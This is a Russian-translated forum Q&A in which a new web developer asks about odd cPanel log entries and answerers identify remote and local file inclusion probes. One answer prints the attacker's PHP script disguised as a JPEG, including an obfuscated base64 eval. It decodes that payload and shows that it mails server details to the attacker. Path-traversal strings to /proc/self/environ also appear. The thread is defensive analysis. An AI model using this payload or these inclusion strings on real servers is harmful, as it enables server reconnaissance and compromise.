Я все еще новичок в веб-разработке и у меня есть вопрос о безопасности.
Каждый день я просматриваю «Последние посетители» в CPanel, и сегодня там были какие-то странные записи (одна вставлена ниже).
Не зная ничего лучше, мне кажется, что есть какой-то сайт, который по какой-то причине направляет пользователей на мой сайт. Может ли кто-нибудь объяснить, что это на самом деле и есть ли повод для беспокойства? Спасибо!
Host: 77.68.38.175
/?p=http://teen-37.net/myid.jpg?
Http Code: 404 Date: Feb 17 08:13:58 Http Version: HTTP/1.1 Size in Bytes: -
Referer: -
Agent: libwww-perl/5.805 *
/?p=../../../../../../../../../../../../../../../proc/self/environ%00
Http Code: 404 Date: Feb 17 08:13:59 Http Version: HTTP/1.1 Size in Bytes: -
Referer: -
Agent: libwww-perl/5.805
Короткий ответ:
Кто-то нападает на вас.
Длинный ответ:
Кто-то использует сценарии Perl с модулем LWP, чтобы действовать как веб-браузер и запрашивать странные URL-адреса с вашего сервера, чтобы заставить его делать что-то опасное. Это может быть автоматическая атака или кто-то делает это вручную.
Вторая запись пытается заставить ваш сервер включать ../../../../../../../../../../../../../. ./../proc/self/environ на веб-сайте, что означает переход в родительский каталог много раз (поэтому, вероятно, заканчивается в корневом каталоге) и показывает / proc / self / environment, который в Linux показывает переменные среды вашего процесс, который может предоставить злоумышленнику полезную информацию. ОБНОВИТЬ: Он не только получает информацию, но и исследует уязвимость включения локального файла, при которой вы можете запустить произвольный код, поместив PHP-код в HTTP-заголовок User-Agent, а затем включив / proc / self / environment на странице. (Спасибо aaz за указание на это.)
Первая запись еще более интересна, потому что она, очевидно, пытается заставить ваш сервер загрузить код злоумышленника и заставить его запустить ваш сервер. Это то, что я получил, когда скачал http://teen-37.net/myid.jpg - это не изображение JPEG, а скрипт PHP:
<?
$win = strtolower(substr(PHP_OS,0,3)) == "win";
echo "B"."a"."M"."b"."Y"."<br>";
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
{
$safemode = true;
$hsafemode = "4ON6";
}
else {$safemode = false; $hsafemode = "3OFF6";}
$xos = wordwrap(php_uname(),90,"<br>",1);
$xpwd = @getcwd();
$OS = "[SAFEMOD:".$hsafemode."] [Kernel:".$xos."]";
echo "<center><A class=ria href=\"http://".$OS."\">";echo "B"."a"."M"."b"."Y</A></center><br>";
echo "<br>OSTYPE:$OS<br>";
echo "<br>Pwd:$xpwd<br>";
eval(base64_decode("JGNyZWF0b3IgPSBiYXNlNjRfZGVjb2RlKCJiWGxwWkhOallXNUFaMjFoYVd3dVkyOXQiKTsKKCRzYWZlX21vZGUpPygkc2FmZW1vZGU9Ik9OIik6KCRzYWZlbW9kZT0iT0ZGIik7CiRiYXNlPSJodHRwOi8vIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ107IAokbmFtZSA9IHBocF91bmFtZSgpOwokaXAgPSBnZXRlbnYoIlJFTU9URV9BRERSIik7CiRob3N0ID0gZ2V0aG9zdGJ5YWRkcigkX1NFUlZFUltSRU1PVEVfQUREUl0pOwokc3ViaiA9ICRfU0VSVkVSWydIVFRQX0hPU1QnXTsgCiRtc2cgPSAiXG5CQVNFOiAkYmFzZVxudW5hbWUgLWE6ICRuYW1lXG5JUDogJGlwXG5Ib3N0OiAkaG9zdFxuJHB3ZHNcbiI7CiRmcm9tID0iRnJvbTogTU9ERV89Ii4kc2FmZW1vZGUuIjx0b29sQCIuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiI+IjsKbWFpbCggJGNyZWF0b3IsICRzdWJqLCAkbXNnLCAkZnJvbSk7"));
die("<center> ByroeNet </center>");
?>
Последняя часть - eval (base64_decode ("...")); - явно пытается скрыть то, что делает, но вы можете его расшифровать, и вы получите следующее:
$creator = base64_decode("bXlpZHNjYW5AZ21haWwuY29t");
($safe_mode)?($safemode="ON"):($safemode="OFF");
$base="http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
$name = php_uname();
$ip = getenv("REMOTE_ADDR");
$host = gethostbyaddr($_SERVER[REMOTE_ADDR]);
$subj = $_SERVER['HTTP_HOST'];
$msg = "\nBASE: $base\nuname -a: $name\nIP: $ip\nHost: $host\n$pwds\n";
$from ="From: MODE_=".$safemode."<tool@".$_SERVER['HTTP_HOST'].">";
mail( $creator, $subj, $msg, $from);
И теперь, когда вы декодируете «bXlpZHNjYW5AZ21haWwuY29t», вы получаете адрес электронной почты.
Теперь мы знаем, что кто-то пытался заставить ваш сервер делать - отправить электронное письмо с некоторой информацией о вашем сервере.
Теперь у вас есть IP-адрес вашего атакующего сервера, который может знать, а может и не знать, что он атакует - 77.68.38.175 кажется server77-68-38-175.live-servers.net - и адрес электронной почты злоумышленника, который необходимо использовать. время от времени собирать данные, а также домен, на котором размещен вредоносный код.
Найдите в базах данных whois сайт teen-37.net (на котором размещен вредоносный код), IP-адрес 77.68.38.175 (атакующий ваш сервер) и IP-адрес 123.30.181.39 (IP-адрес teen-37.net) для получения контактной информации. людям, ответственным за сообщения о нарушениях.
Также поиск в Google для teen-37.net и некоторых случайных частей вредоносного скрипта может дать вам более интересную информацию.
Теперь, исходя из кода ответа 404, мы можем предположить, что эти две конкретные атаки не сработали, но вы не можете быть уверены, потому что теоретически, когда злоумышленник контролирует ваш сервер, он может ответить самому себе с помощью 404 после выполнения того, что он хотел сделать. .
Удачи.
В первом примере кто-то пытается включить свой собственный контент на ваш сайт. Что можно было бы сделать, если бы ваш $_GET['p']
сделал наивный include()
или file_get_contents()
вызов. То же самое касается второго примера, хотя он предназначен для получения информации о системной среде.
Нет. Поле «referer» в обеих записях вашего примера журнала пусто. В этом случае либо пользователь перешел прямо на сайт, либо его браузер просто не предоставил заголовок referer, который дает эту информацию.
В этом случае задействованный браузер или «пользовательский агент» - это libwww-perl, поэтому кажется, что какой-то инструмент, написанный на perl, делает запросы.
Второй URL-адрес выглядит как попытка взлома вашего веб-сервера. Это очень распространено в Интернете, и пока ваш веб-сервер обновлен, у вас не должно возникнуть никаких проблем.
Похоже, это «кто-то» (возможно, просто сценарий) исследует уязвимости. Первый выглядит так, как будто он тестирует, может ли он заставить ваш сайт выполнять произвольные перенаправления или отображать произвольные данные, а второй пытается заставить ваш сайт отображать произвольные файлы в файловой системе.
?p=../../../../../../../../../../../../../../../proc/self/environ
Это попытка зондирования ваших системных процессов. Что бы ты не делал, убедитесь, что вы дезинфицируете свои переменные. Проверьте такие запросы, потому что, если они будут введены в неправильный скрипт, вам придется многое исправить.
Второй вопрос - очень серьезный.
это уловка, привыкшая записывать в вашу систему, используя чтение функция.
предполагая, что ваша переменная $ _GET ['p'] используется в качестве имени файла, очистите его, используя basename()
функция или любой другой метод